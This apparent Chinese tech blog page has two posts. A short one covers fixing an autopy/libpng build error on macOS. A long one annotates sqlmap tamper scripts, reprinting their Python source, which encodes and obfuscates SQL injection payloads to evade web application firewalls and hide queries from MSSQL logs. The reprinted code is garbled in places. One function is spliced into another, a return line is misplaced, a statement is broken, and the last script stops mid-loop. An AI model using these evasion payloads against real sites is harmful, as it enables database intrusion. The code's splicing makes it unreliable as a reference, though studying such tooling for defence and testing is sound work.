MacOSX安装autopy时遇到错误

发布时间:March 2, 2016 // 分类:运维工作,开发笔记,工作日志,windows,转帖文章,python // No Comments

spynner是一个QtWebKit的客户端,它可以模拟浏览器,完成加载页面、引发事件、填写表单等操作。

这个模块可以在Python的官网找到。

下载地址: https://pypi.python.org/pypi/spynner/2.5

解压后,cd到安装目录,然后输入sudo python configure.py install安装该模块。

这样Spynner模块就安装完成了,在python shell中试试import spynner看看该模块有没有安装完成。

其实是安装spynner的时候遇到的.习惯的使用pip去安装了pip install spynner的时候发现了这个错误

src/screengrab.c:48:26: warning: implicit declaration of function 'CGDisplayBitsPerPixel' is invalid in C99
      [-Wimplicit-function-declaration]
        bitsPerPixel = (uint8_t)CGDisplayBitsPerPixel(displayID);
                                ^
src/screengrab.c:174:15: warning: 'kCGLPFAFullScreen' is deprecated: first deprecated in OS X 10.6 [-Wdeprecated-declarations]
        attribs[0] = kCGLPFAFullScreen;
                     ^
/System/Library/Frameworks/OpenGL.framework/Headers/CGLTypes.h:71:2: note: 'kCGLPFAFullScreen' declared here
        kCGLPFAFullScreen OPENGL_ENUM_DEPRECATED(10_0, 10_6)     =  54,
        ^
src/screengrab.c:191:2: warning: 'CGLSetFullScreen' is deprecated: first deprecated in OS X 10.6 [-Wdeprecated-declarations]
        CGLSetFullScreen(glContext);
        ^
/System/Library/Frameworks/OpenGL.framework/Headers/OpenGL.h:73:17: note: 'CGLSetFullScreen' declared here
extern CGLError CGLSetFullScreen(CGLContextObj ctx) OPENGL_DEPRECATED(10_0, 10_6);
                ^
src/screengrab.c:194:2: warning: implicit declaration of function 'glReadBuffer' is invalid in C99 [-Wimplicit-function-declaration]
        glReadBuffer(GL_FRONT);
        ^
src/screengrab.c:194:15: error: use of undeclared identifier 'GL_FRONT'
        glReadBuffer(GL_FRONT);
                     ^
src/screengrab.c:197:2: warning: implicit declaration of function 'glFinish' is invalid in C99 [-Wimplicit-function-declaration]
        glFinish();
        ^
src/screengrab.c:199:6: warning: implicit declaration of function 'glGetError' is invalid in C99 [-Wimplicit-function-declaration]
        if (glGetError() != GL_NO_ERROR) return NULL;
            ^
src/screengrab.c:199:22: error: use of undeclared identifier 'GL_NO_ERROR'
        if (glGetError() != GL_NO_ERROR) return NULL;
                            ^
src/screengrab.c:207:2: warning: implicit declaration of function 'glPopClientAttrib' is invalid in C99
      [-Wimplicit-function-declaration]
        glPopClientAttrib(); /* Clear attributes previously set. */
        ^
src/screengrab.c:223:2: warning: implicit declaration of function 'glPushClientAttrib' is invalid in C99
      [-Wimplicit-function-declaration]
        glPushClientAttrib(GL_CLIENT_PIXEL_STORE_BIT);
        ^
src/screengrab.c:223:21: error: use of undeclared identifier 'GL_CLIENT_PIXEL_STORE_BIT'
        glPushClientAttrib(GL_CLIENT_PIXEL_STORE_BIT);
                           ^
src/screengrab.c:225:2: warning: implicit declaration of function 'glPixelStorei' is invalid in C99 [-Wimplicit-function-declaration]
        glPixelStorei(GL_PACK_ALIGNMENT, BYTE_ALIGN); /* Force alignment. */
        ^
src/screengrab.c:225:16: error: use of undeclared identifier 'GL_PACK_ALIGNMENT'
        glPixelStorei(GL_PACK_ALIGNMENT, BYTE_ALIGN); /* Force alignment. */
                      ^
src/screengrab.c:226:16: error: use of undeclared identifier 'GL_PACK_ROW_LENGTH'
        glPixelStorei(GL_PACK_ROW_LENGTH, 0);
                      ^
src/screengrab.c:227:16: error: use of undeclared identifier 'GL_PACK_SKIP_ROWS'
        glPixelStorei(GL_PACK_SKIP_ROWS, 0);
                      ^
src/screengrab.c:228:16: error: use of undeclared identifier 'GL_PACK_SKIP_PIXELS'
        glPixelStorei(GL_PACK_SKIP_PIXELS, 0);
                      ^
src/screengrab.c:235:2: warning: implicit declaration of function 'glReadPixels' is invalid in C99 [-Wimplicit-function-declaration]
        glReadPixels(x, y, width, height,
        ^
src/screengrab.c:236:30: error: use of undeclared identifier 'GL_BGRA'
                     MMRGB_IS_BGR ? GL_BGRA : GL_RGBA,
                                    ^
src/screengrab.c:236:40: error: use of undeclared identifier 'GL_RGBA'
                     MMRGB_IS_BGR ? GL_BGRA : GL_RGBA,
                                              ^
10 warnings and 9 errors generated.
error: Setup script exited with error: command 'cc' failed with exit status 1

仔细看了下发现是autopy的错误,查看src/screengrab.c发现是由于OpenGL没有更新版本,存在一些已经被弃用的方法。解决办法很简单,安装libpng,下载地址。安装完成后发现还是继续报错

git clone git://github.com/msanders/autopy.git
cd autopy
python setup.py build
src/png_io.c:3:10: fatal error: 'png.h' file not found  
#include <png.h>  
         ^  
1 error generated.  
error: command 'cc' failed with exit status 1  

解决办法很简单..直接指向就好了


export LIBRARY_PATH="/usr/local/lib:/usr/local/include/libpng"
export C_INCLUDE_PATH="/usr/local/lib:/usr/local/include/libpng"
python setup.py build
sudo python setup.py install

 

sqlmap 的tamper解读

发布时间:January 23, 2016 // 分类:运维工作,linux,windows,python // 1 Comment

下雪了,堵在路上,无聊看了下sqlmap下的tamper。然后做了笔记
https://github.com/sqlmapproject/sqlmap/tree/master/tamper
1.apostrophemask  把'使用%EF%BC%87进行替换【类似款字节】
def tamper(payload, **kwargs):
    """
    Replaces apostrophe character with its UTF-8 full width counterpart

    References:
        * http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128
        * http://lukasz.pilorz.net/testy/unicode_conversion/
        * http://sla.ckers.org/forum/read.php?13,11562,11850
        * http://lukasz.pilorz.net/testy/full_width_utf/index.phps

    >>> tamper("1 AND '1'='1")
    '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
    """

    return payload.replace('\'', "%EF%BC%87") if payload else payload
2.apostrophenullencode 将‘使用%00%27进行替换。中间增加%00
def tamper(payload, **kwargs):
    """
    Replaces apostrophe character with its illegal double unicode counterpart

    >>> tamper("1 AND '1'='1")
    '1 AND %00%271%00%27=%00%271'
    """

    return payload.replace('\'', "%00%27") if payload else payload

3.appendnullbyte 主要表现为在每行的最后增加一个%00

def tamper(payload, **kwargs):
    """
    Appends encoded NULL byte character at the end of payload

    Requirement:
        * Microsoft Access

    Notes:
        * Useful to bypass weak web application firewalls when the back-end
          database management system is Microsoft Access - further uses are
          also possible

    Reference: http://projects.webappsec.org/w/page/13246949/Null-Byte-Injection

    >>> tamper('1 AND 1=1')
    '1 AND 1=1%00'
    """

    return "%s%%00" % payload if payload else payload

4.base64encode 主要对当前的url进行base64编码达到传递的目的(针对使用bas6e传输的)

def tamper(payload, **kwargs):
    """
    Base64 all characters in a given payload

    >>> tamper("1' AND SLEEP(5)#")
    'MScgQU5EIFNMRUVQKDUpIw=='
    """
5.between 主要是替换一些使用 > = < 进行匹配的时候使用between来进行替换

def tamper(payload, **kwargs):
    """
    Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #'
    Replaces equals operator ('=') with 'BETWEEN # AND #'

    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0

    Notes:
        * Useful to bypass weak and bespoke web application firewalls that
          filter the greater than character
        * The BETWEEN clause is SQL standard. Hence, this tamper script
          should work against all (?) databases

    >>> tamper('1 AND A > B--')
    '1 AND A NOT BETWEEN 0 AND B--'
    >>> tamper('1 AND A = B--')
    '1 AND A BETWEEN B AND B--'
    """

    retVal = payload

    if payload:
        match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^>]+?)\s*>\s*([^>]+)\s*\Z", payload)

        if match:
            _ = "%s %s NOT BETWEEN 0 AND %s" % (match.group(2), match.group(4), match.group(5))
            retVal = retVal.replace(match.group(0), _)
        else:
            retVal = re.sub(r"\s*>\s*(\d+|'[^']+'|\w+\(\d+\))", " NOT BETWEEN 0 AND \g<1>", payload)

        if retVal == payload:
            match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^=]+?)\s*=\s*(\w+)\s*", payload)

            if match:
                _ = "%s %s BETWEEN %s AND %s" % (match.group(2), match.group(4), match.group(5), match.group(5))
                retVal = retVal.replace(match.group(0), _)

    return retVal
    return base64.b64encode(payload.encode(UNICODE_ENCODING)) if payload else payload

6.bluecoat 针对mysql的编码,再每个空格前使用%09来达到编码的目的

def tamper(payload, **kwargs):
    """
    Replaces space character after SQL statement with a valid random blank character.
    Afterwards replace character = with LIKE operator

    Requirement:
        * Blue Coat SGOS with WAF activated as documented in
        https://kb.bluecoat.com/index?page=content&id=FAQ2147

    Tested against:
        * MySQL 5.1, SGOS

    Notes:
        * Useful to bypass Blue Coat's recommended WAF rule configuration

    >>> tamper('SELECT id FROM users WHERE id = 1')
    'SELECT%09id FROM%09users WHERE%09id LIKE 1'
    """

    def process(match):
        word = match.group('word')
        if word.upper() in kb.keywords:
            return match.group().replace(word, "%s%%09" % word)
        else:
            return match.group()

    retVal = payload

    if payload:
        retVal = re.sub(r"\b(?P<word>[A-Z_]+)(?=[^\w(]|\Z)", lambda match: process(match), retVal)
        retVal = re.sub(r"\s*=\s*", " LIKE ", retVal)
        retVal = retVal.replace("%09 ", "%09")

    return retVal

7.chardoubleencode 对整个进行二次URL编码

def tamper(payload, **kwargs):
    """
    Double url-encodes all characters in a given payload (not processing
    already encoded)

    Notes:
        * Useful to bypass some weak web application firewalls that do not
          double url-decode the request before processing it through their
          ruleset

    >>> tamper('SELECT FIELD FROM%20TABLE')
    '%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545'
    """

    retVal = payload

    if payload:
        retVal = ""
        i = 0

        while i < len(payload):
            if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits:
                retVal += '%%25%s' % payload[i + 1:i + 3]
                i += 3
            else:
                retVal += '%%25%.2X' % ord(payload[i])
                i += 1

    return retVal

8.charencode  对整个进行一次URL编码

def tamper(payload, **kwargs):
    """
    Url-encodes all characters in a given payload (not processing already
    encoded)

    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0

    Notes:
        * Useful to bypass very weak web application firewalls that do not
          url-decode the request before processing it through their ruleset
        * The web server will anyway pass the url-decoded version behind,
          hence it should work against any DBMS

    >>> tamper('SELECT FIELD FROM%20TABLE')
    '%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45'
    """

    retVal = payload

    if payload:
        retVal = ""
        i = 0

        while i < len(payload):
            if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits:
                retVal += payload[i:i + 3]
                i += 3
            else:
                retVal += '%%%.2X' % ord(payload[i])
                i += 1

    return retVal

9.charunicodeencode  对整个进行Unicode编码(也就是S转换为%u0053)【主要体现在asp asp.net上】

def tamper(payload, **kwargs):
    """
    Unicode-url-encodes non-encoded characters in a given payload (not
    processing already encoded)

    Requirement:
        * ASP
        * ASP.NET

    Tested against:
        * Microsoft SQL Server 2000
        * Microsoft SQL Server 2005
        * MySQL 5.1.56
        * PostgreSQL 9.0.3

    Notes:
        * Useful to bypass weak web application firewalls that do not
          unicode url-decode the request before processing it through their
          ruleset

    >>> tamper('SELECT FIELD%20FROM TABLE')
    '%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045'
    """

    retVal = payload

    if payload:
        retVal = ""
        i = 0

        while i < len(payload):
            if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits:
                retVal += "%%u00%s" % payload[i + 1:i + 3]
                i += 3
            else:
                retVal += '%%u%.4X' % ord(payload[i])
                i += 1

    return retVal


10.concat2concatws 主要是作用于把CONCAT(A, B)替换为CONCAT_WS(MID(CHAR(0), 0, 0), A, B)

def tamper(payload, **kwargs):
    """
    Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'

    Requirement:
        * MySQL

    Tested against:
        * MySQL 5.0

    Notes:
        * Useful to bypass very weak and bespoke web application firewalls
          that filter the CONCAT() function

    >>> tamper('CONCAT(1,2)')
    'CONCAT_WS(MID(CHAR(0),0,0),1,2)'
    """

    if payload:
        payload = payload.replace("CONCAT(", "CONCAT_WS(MID(CHAR(0),0,0),")

    return payload

11.equaltolike 把等于使用like进行替换

def tamper(payload, **kwargs):
    """
    Replaces all occurances of operator equal ('=') with operator 'LIKE'

    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5

    Notes:
        * Useful to bypass weak and bespoke web application firewalls that
          filter the equal character ('=')
        * The LIKE operator is SQL standard. Hence, this tamper script
          should work against all (?) databases

    >>> tamper('SELECT * FROM users WHERE id=1')
    'SELECT * FROM users WHERE id LIKE 1'
    """

    retVal = payload

    if payload:
        retVal = re.sub(r"\s*=\s*", " LIKE ", retVal)

    return retVal

12.greatest  主要的作用是把A>B使用GREATEST(A,B+1)=A进行替换

def tamper(payload, **kwargs):
    """
    Replaces greater than operator ('>') with 'GREATEST' counterpart

    Tested against:
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0

    Notes:
        * Useful to bypass weak and bespoke web application firewalls that
          filter the greater than character
        * The GREATEST clause is a widespread SQL command. Hence, this
          tamper script should work against majority of databases

    >>> tamper('1 AND A > B')
    '1 AND GREATEST(A,B+1)=A'
    """

    retVal = payload

    if payload:
        match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^>]+?)\s*>\s*([^>#-]+)", payload)

        if match:
            _ = "%sGREATEST(%s,%s+1)=%s" % (match.group(1), match.group(4), match.group(5), match.group(4))
            retVal = retVal.replace(match.group(0), _)

    return retVal

13.halfversionedmorekeywords 使用/*!0替换空格

def tamper(payload, **kwargs):
    """
    Adds versioned MySQL comment before each keyword

    Requirement:
        * MySQL < 5.1

    Tested against:
        * MySQL 4.0.18, 5.0.22

    Notes:
        * Useful to bypass several web application firewalls when the
          back-end database management system is MySQL
        * Used during the ModSecurity SQL injection challenge,
          http://modsecurity.org/demo/challenge.html

    >>> tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
    "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
    """

    def process(match):
        word = match.group('word')
        if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS:
            return match.group().replace(word, "/*!0%s" % word)
        else:
            return match.group()

    retVal = payload

    if payload:
        retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), retVal)
        retVal = retVal.replace(" /*!0", "/*!0")

    return retVal

14.lowercase  主要是把大写转换为小写

def tamper(payload, **kwargs):
    """
    Replaces each keyword character with lower case value

    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0

    Notes:
        * Useful to bypass very weak and bespoke web application firewalls
          that has poorly written permissive regular expressions
        * This tamper script should work against all (?) databases

    >>> tamper('INSERT')
    'insert'
    """

    retVal = payload

    if payload:
        for match in re.finditer(r"[A-Za-z_]+", retVal):
            word = match.group()

            if word.upper() in kb.keywords:
                retVal = retVal.replace(word, word.lower())

    return retVal

15.modsecurityversioned 在两个变量之间加上 /*!30%*/" 类似于1 AND 2>1-- 转为 1 /*!30874AND 2>1*/--

def tamper(payload, **kwargs):
    """
    Embraces complete query with versioned comment

    Requirement:
        * MySQL

    Tested against:
        * MySQL 5.0

    Notes:
        * Useful to bypass ModSecurity WAF/IDS

    >>> import random
    >>> random.seed(0)
    >>> tamper('1 AND 2>1--')
    '1 /*!30874AND 2>1*/--'
    """

    retVal = payload

    if payload:
        postfix = ''
        for comment in ('#', '--', '/*'):
            if comment in payload:
                postfix = payload[payload.find(comment):]
                payload = payload[:payload.find(comment)]
                break
        if ' ' in payload:
            retVal = "%s /*!30%s%s*/%s" % (payload[:payload.find(' ')], randomInt(3), payload[payload.find(' ') + 1:], postfix)

    return retVal

16.modsecurityzeroversioned 在两个变量之间加上 /*!00000 类似于1 AND 2>1-- 转为 1 /*!00000AND 2>1*/--

def tamper(payload, **kwargs):
    """
    Embraces complete query with zero-versioned comment

    Requirement:
        * MySQL

    Tested against:
        * MySQL 5.0

    Notes:
        * Useful to bypass ModSecurity WAF/IDS

    >>> tamper('1 AND 2>1--')
    '1 /*!00000AND 2>1*/--'
    """

    retVal = payload

    if payload:
        postfix = ''
        for comment in ('#', '--', '/*'):
            if comment in payload:
                postfix = payload[payload.find(comment):]
                payload = payload[:payload.find(comment)]
                break
        if ' ' in payload:
            retVal = "%s /*!00000%s*/%s" % (payload[:payload.find(' ')], payload[payload.find(' ') + 1:], postfix)

    return retVal


17.multiplespaces 增加空格的个数。类似把一个空格使用4个空格(或者TAB)替换

def tamper(payload, **kwargs):
    """
    Adds multiple spaces around SQL keywords

    Notes:
        * Useful to bypass very weak and bespoke web application firewalls
          that has poorly written permissive regular expressions

    Reference: https://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt

    >>> random.seed(0)
    >>> tamper('1 UNION SELECT foobar')
    '1    UNION     SELECT   foobar'
    """

    retVal = payload

    if payload:
        words = set()

        for match in re.finditer(r"[A-Za-z_]+", payload):
            word = match.group()

            if word.upper() in kb.keywords:
                words.add(word)

        for word in words:
            retVal = re.sub("(?<=\W)%s(?=[^A-Za-z_(]|\Z)" % word, "%s%s%s" % (' ' * random.randrange(1, 4), word, ' ' * random.randrange(1, 4)), retVal)
            retVal = re.sub("(?<=\W)%s(?=[(])" % word, "%s%s" % (' ' * random.randrange(1, 4), word), retVal)

    return retVal

18.nonrecursivereplacement 主要是在("UNION", "SELECT", "INSERT", "UPDATE", "FROM", "WHERE")中间继续填充一个关键词。
    把UNION SELECT转换为UNIOUNIONN SELESELECTCT

def tamper(payload, **kwargs):
    """
    Replaces predefined SQL keywords with representations
    suitable for replacement (e.g. .replace("SELECT", "")) filters

    Notes:
        * Useful to bypass very weak custom filters

    >>> random.seed(0)
    >>> tamper('1 UNION SELECT 2--')
    '1 UNIOUNIONN SELESELECTCT 2--'
    """

    keywords = ("UNION", "SELECT", "INSERT", "UPDATE", "FROM", "WHERE")
    retVal = payload

    warnMsg = "currently only couple of keywords are being processed %s. " % str(keywords)
    warnMsg += "You can set it manually according to your needs"
    singleTimeWarnMessage(warnMsg)

    if payload:
        for keyword in keywords:
            _ = random.randint(1, len(keyword) - 1)
            retVal = re.sub(r"(?i)\b%s\b" % keyword, "%s%s%s" % (keyword[:_], keyword, keyword[_:]), retVal)

    return retVal

19.overlongutf8 主要为使用%C0%AA替换空格

def tamper(payload, **kwargs):
    """
    Converts all characters in a given payload (not processing already
    encoded)

    Reference: https://www.acunetix.com/vulnerabilities/unicode-transformation-issues/

    >>> tamper('SELECT FIELD FROM TABLE WHERE 2>1')
    'SELECT FIELD%C0%AAFROM%C0%AATABLE%C0%AAWHERE%C0%AA2%C0%BE1'
    """

    retVal = payload

    if payload: 
        retVal = ""
        i = 0

        while i < len(payload):
            if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits:
                retVal += payload[i:i + 3]
                i += 3
            else:
                if payload[i] not in (string.ascii_letters + string.digits):
                    retVal += "%%C0%%%.2X" % (0x8A | ord(payload[i]))
                else:
                    retVal += payload[i]
                i += 1

    return retVal

20.percentage  主要是使用%分割关键词类似于把SELECT 转换为%S%E%L%E%C%T

def tamper(payload, **kwargs):
    """
    Adds a percentage sign ('%') infront of each character

    Requirement:
        * ASP

    Tested against:
        * Microsoft SQL Server 2000, 2005
        * MySQL 5.1.56, 5.5.11
        * PostgreSQL 9.0

    Notes:
def tamper(payload, **kwargs):
    """
    Replaces each keyword character with random case value

    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0

    Notes:
        * Useful to bypass very weak and bespoke web application firewalls
          that has poorly written permissive regular expressions
        * This tamper script should work against all (?) databases

    >>> import random
    >>> random.seed(0)
    >>> tamper('INSERT')
    'INseRt'
    """

    retVal = payload

    if payload:
        for match in re.finditer(r"[A-Za-z_]+", retVal):
            word = match.group()

            if word.upper() in kb.keywords:
                while True:
                    _ = ""

                    for i in xrange(len(word)):
                        _ += word[i].upper() if randomRange(0, 1) else word[i].lower()

                    if len(_) > 1 and _ not in (_.lower(), _.upper()):
                        break

                retVal = retVal.replace(word, _)

    return retVal        * Useful to bypass weak and bespoke web application firewalls

    >>> tamper('SELECT FIELD FROM TABLE')
    '%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E'
    """

    if payload:
        retVal = ""
        i = 0

        while i < len(payload):
            if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits:
                retVal += payload[i:i + 3]
                i += 3
            elif 
            payload[i] != ' ':
                retVal += '%%%s' % payload[i]
                i += 1
            else:
                retVal += payload[i]
                i += 1

    return retVal

21.randomcase 随机转换大小写。类似于INSERT转换为INseRt

def tamper(payload, **kwargs):
    """
    Replaces each keyword character with random case value

    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0

    Notes:
        * Useful to bypass very weak and bespoke web application firewalls
          that has poorly written permissive regular expressions
        * This tamper script should work against all (?) databases

    >>> import random
    >>> random.seed(0)
    >>> tamper('INSERT')
    'INseRt'
    """

    retVal = payload

    if payload:
        for match in re.finditer(r"[A-Za-z_]+", retVal):
            word = match.group()

            if word.upper() in kb.keywords:
                while True:
                    _ = ""

                    for i in xrange(len(word)):
                        _ += word[i].upper() if randomRange(0, 1) else word[i].lower()

                    if len(_) > 1 and _ not in (_.lower(), _.upper()):
                        break

                retVal = retVal.replace(word, _)

    return retVal

22.randomcomments 随机在关键词间插入/**/.类似INSERT转换为I/**/N/**/SERT

def tamper(payload, **kwargs):
    """
    Add random comments to SQL keywords

    >>> import random
    >>> random.seed(0)
    >>> tamper('INSERT')
    'I/**/N/**/SERT'
    """

    retVal = payload

    if payload:
        for match in re.finditer(r"\b[A-Za-z_]+\b", payload):
            word = match.group()

            if len(word) < 2:
                continue

            if word.upper() in kb.keywords:
                _ = word[0]

                for i in xrange(1, len(word) - 1):
                    _ += "%s%s" % ("/**/" if randomRange(0, 1) else "", word[i])

                _ += word[-1]

                if "/**/" not in _:
                    index = randomRange(1, len(word) - 1)
                    _ = word[:index] + "/**/" + word[index:]

                retVal = retVal.replace(word, _)

    return retVal

23.securesphere 再末尾增加and '0having'='0having


def tamper(payload, **kwargs):
    """
    Appends special crafted string

    Notes:
        * Useful for bypassing Imperva SecureSphere WAF
        * Reference: http://seclists.org/fulldisclosure/2011/May/163

    >>> tamper('1 AND 1=1')
    "1 AND 1=1 and '0having'='0having'"
    """

    return payload + " and '0having'='0having'" if payload else payload

24.sp_password 针对MSSQL的一种办法。在--后面增加sp_password

def tamper(payload, **kwargs):
    """
    Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs

    Requirement:
        * MSSQL

    Notes:
        * Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure
        * Reference: http://websec.ca/kb/sql_injection

    >>> tamper('1 AND 9227=9227-- ')
    '1 AND 9227=9227-- sp_password'
    """

    retVal = ""

    if payload:
        retVal = "%s%ssp_password" % (payload, "-- " if not any(_ if _ in payload else None for _ in ('#', "-- ")) else "")

    return retVal

25.space2comment 使用/**/替换空格

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with comments '/**/'

    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0

    Notes:
        * Useful to bypass weak and bespoke web application firewalls

    >>> tamper('SELECT id FROM users')
    'SELECT/**/id/**/FROM/**/users'
    """

    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += "/**/"
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == " " and not doublequote and not quote:
                retVal += "/**/"
                continue

            retVal += payload[i]

    return retVal

26.space2dash  使用--(rand)%0A替换掉空格

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with a dash comment ('--') followed by
    a random string and a new line ('\n')

    Requirement:
        * MSSQL
        * SQLite

    Notes:
        * Useful to bypass several web application firewalls
        * Used during the ZeroNights SQL injection challenge,
          https://proton.onsec.ru/contest/

    >>> random.seed(0)
    >>> tamper('1 AND 9227=9227')
    '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'
    """

    retVal = ""

    if payload:
        for i in xrange(len(payload)):
            if payload[i].isspace():
                randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12)))
                retVal += "--%s%%0A" % randomStr
            elif payload[i] == '#' or payload[i:i + 3] == '-- ':
                retVal += payload[i:]
                break
            else:
                retVal += payload[i]

    return retVal

27.space2hash  使用%23(rand)%0A来替换空格

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with a pound character ('#') followed by
    a random string and a new line ('\n')

    Requirement:
        * MySQL

    Tested against:
        * MySQL 4.0, 5.0

    Notes:
        * Useful to bypass several web application firewalls
        * Used during the ModSecurity SQL injection challenge,
          http://modsecurity.org/demo/challenge.html

    >>> random.seed(0)
    >>> tamper('1 AND 9227=9227')
    '1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227=9227'
    """

    retVal = ""

    if payload:
        for i in xrange(len(payload)):
            if payload[i].isspace():
                randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12)))
                retVal += "%%23%s%%0A" % randomStr
            elif payload[i] == '#' or payload[i:i + 3] == '-- ':
                retVal += payload[i:]
                break
            else:
                retVal += payload[i]

    return retVal

28.space2morehash  使用多个%23(rand)%0A来替换空格
def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with a pound character ('#') followed by
    a random string and a new line ('\n')

    Requirement:
        * MySQL >= 5.1.13

    Tested against:
        * MySQL 5.1.41

    Notes:
        * Useful to bypass several web application firewalls
        * Used during the ModSecurity SQL injection challenge,
          http://modsecurity.org/demo/challenge.html

    >>> random.seed(0)
    >>> tamper('1 AND 9227=9227')
    '1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227'
    """

    def process(match):
        word = match.group('word')
        randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12)))

        if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS:
            return match.group().replace(word, "%s%%23%s%%0A" % (word, randomStr))
        else:
            return match.group()

    retVal = ""

    if payload:
        payload = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), payload)

        for i in xrange(len(payload)):
            if payload[i].isspace():
                randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12)))
                retVal += "%%23%s%%0A" % randomStr
            elif payload[i] == '#' or payload[i:i + 3] == '-- ':
                retVal += payload[i:]
                break
            else:
                retVal += payload[i]

    return retVal

29.space2mssqlblank  针对MSSQL使用特定的字符替换空格
    特定的字符('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')
def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with a random blank character from a
    valid set of alternate characters

    Requirement:
        * Microsoft SQL Server

    Tested against:
        * Microsoft SQL Server 2000
        * Microsoft SQL Server 2005

    Notes:
        * Useful to bypass several web application firewalls

    >>> random.seed(0)
    >>> tamper('SELECT id FROM users')
    'SELECT%0Eid%0DFROM%07users'
    """

    # ASCII table:
    #   SOH     01      start of heading
    #   STX     02      start of text
    #   ETX     03      end of text
    #   EOT     04      end of transmission
    #   ENQ     05      enquiry
    #   ACK     06      acknowledge
    #   BEL     07      bell
    #   BS      08      backspace
    #   TAB     09      horizontal tab
    #   LF      0A      new line
    #   VT      0B      vertical TAB
    #   FF      0C      new page
    #   CR      0D      carriage return
    #   SO      0E      shift out
    #   SI      0F      shift in
    blanks = ('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')
    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace, end = False, False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += random.choice(blanks)
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == '#' or payload[i:i + 3] == '-- ':
                end = True

            elif payload[i] == " " and not doublequote and not quote:
                if end:
